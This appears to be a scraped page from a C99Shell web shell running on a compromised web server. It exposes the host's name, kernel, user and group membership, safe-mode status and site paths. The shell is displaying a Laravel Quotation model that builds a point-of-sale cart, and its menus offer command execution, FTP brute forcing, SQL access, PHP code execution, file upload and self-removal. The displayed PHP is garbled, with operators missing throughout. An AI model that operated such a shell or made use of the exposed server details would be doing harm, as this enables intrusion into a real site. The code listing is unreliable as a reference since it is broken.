!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Quotation.php (7.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
Quotation extends Model
{
    protected 
$fillable = [
        
'quotation_id',
        
'customer_id',
        
'warehouse_id',
        
'quotation_date',
        
'category_id',
        
'status',
        
'converted_pos_id',
        
'is_converted',
        
'created_by',
    ];

    public function 
customer()
    {
        return 
$this->hasOne('App\Models\Customer''id''customer_id');
    }

    public function 
warehouse()
    {
        return 
$this->hasOne('App\Models\warehouse''id''warehouse_id');
    }

    public function 
items()
    {
        return 
$this->hasMany('App\Models\QuotationProduct''quotation_id''id');
    }

    public static function 
quotationProduct($value $session_key 'pos')
    {


        
$id $value->product_id;
            
$product ProductService::find($id);
            
$productquantity 0;

            if (
$product) {
                
$productquantity $product->getTotalProductQuantity();
            }

            if (!
$product || ($session_key == 'pos' && $productquantity == 0)) {
                return 
response()->json(
                    [
                        
'code' => 404,
                        
'status' => 'Error',
                        
'error' => __('This product is out of stock!'),
                    ],
                    
404
                
);
            }

            
$productname $product->name;


            
$productprice $product->sale_price != $product->sale_price 0;


            
$originalquantity = (int) $productquantity;

            
$quantity $value->quantity;
            
$taxes Utility::tax($product->tax_id);

            
$totalTaxRate Utility::totalTaxRate($product->tax_id);

            
$quotationProduct QuotationProduct::where('product_id',$id)->get();

            
$discount 0;
            foreach(
$quotationProduct as $value)
            {
                
$discount += $value->discount;
            }

            
$product_tax '';
            
$product_tax_id = [];
            foreach (
$taxes as $tax) {
                
$product_tax .= !empty($tax) ? "<span class='badge badge-primary'>" $tax->name ' (' $tax->rate '%)' "</span><br>" '';
                
$product_tax_id[] = !empty($tax) ? $tax->id 0;
            }

            if (empty(
$product_tax)) {
                
$product_tax "-";
            }
            
$producttax $totalTaxRate;

            
$tax = ($productprice $producttax $quantity) / 100;

            
$subtotal $productprice $quantity $tax ;
            
$netPrice $subtotal $discount;
            
$cart session()->get($session_key);
            
$image_url = (!empty($product->pro_image) && Storage::exists($product->pro_image)) ? $product->pro_image 'uploads/pro_image/' $product->pro_image;

            
$model_delete_id 'delete-form-' $id;

            
// if cart is empty then this the first product
            
if (!$cart) {
                
$cart = [
                    
$id => [
                        
"name" => $productname,
                        
"quantity" => $quantity,
                        
"price" => $productprice,
                        
"id" => $id,
                        
"tax" => $producttax,
                        
"subtotal" => $subtotal,
                        
"discount" => $discount,
                        
"netPrice"=>$netPrice,
                        
"originalquantity" => $originalquantity,
                        
"product_tax" => $product_tax,
                        
"product_tax_id" => !empty($product_tax_id) ? implode(','$product_tax_id) : 0,
                    ],
                ];

                if (
$originalquantity $cart[$id]['quantity'] && $session_key == 'pos') {

                return 
redirect()->back()->with('error',__('This product is out of stock!'));
                    return 
response()->json(
                        [
                            
'code' => 404,
                            
'status' => 'Error',
                            
'error' => __('This product is out of stock!'),
                        ],
                        
404
                    
);
                }

                
session()->put($session_key$cart);

                return 
response()->json(
                    [
                        
'code' => 200,
                        
'status' => 'Success',
                        
'success' => $productname __(' added to cart successfully!'),
                        
'product' => $cart[$id],
                    ]
                );
            }

            
// if cart not empty then check if this product exist then increment quantity
            
if (isset($cart[$id])) {

                
$cart[$id]['quantity']++;
                
$cart[$id]['id'] = $id;

                
$subtotal $cart[$id]["price"] * $cart[$id]["quantity"];
                
$tax = ($subtotal $cart[$id]["tax"]) / 100;
                
$discount $cart[$id]["discount"];

                
$cart[$id]["subtotal"] = $subtotal $tax;
                
$cart[$id]["originalquantity"] = $originalquantity;
                
$cart[$id]["netPrice"] = $subtotal $discount;

                if (
$originalquantity $cart[$id]['quantity'] && $session_key == 'pos') {
                    return 
response()->json(
                        [
                            
'code' => 404,
                            
'status' => 'Error',
                            
'error' => __('This product is out of stock!'),
                        ],
                        
404
                    
);
                }

                
session()->put($session_key$cart);

                return 
response()->json(
                    [
                        
'code' => 200,
                        
'status' => 'Success',
                        
'success' => $productname __(' added to cart successfully!'),
                        
'product' => $cart[$id],
                        
'carttotal' => $cart,
                    ]
                );
            }

            
// if item not exist in cart then add to cart with quantity = 1
            
$cart[$id] = [
                
"name" => $productname,
                
"quantity" => 1,
                
"price" => $productprice,
                
"tax" => $producttax,
                
"subtotal" => $subtotal,
                
"discount" => $discount,
                
"netPrice"=> $netPrice,
                
"id" => $id,
                
"originalquantity" => $originalquantity,
                
"product_tax" => $product_tax,
            ];

            if (
$originalquantity $cart[$id]['quantity'] && $session_key == 'pos') {
                return 
response()->json(
                    [
                        
'code' => 404,
                        
'status' => 'Error',
                        
'error' => __('This product is out of stock!'),
                    ],
                    
404
                
);
            }

            
session()->put($session_key$cart);

            return 
response()->json(
                [
                    
'code' => 200,
                    
'status' => 'Success',
                    
'success' => $productname __(' added to cart successfully!'),
                    
'product' => $cart[$id],
                    
'carttotal' => $cart,
                ]
            );
 
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--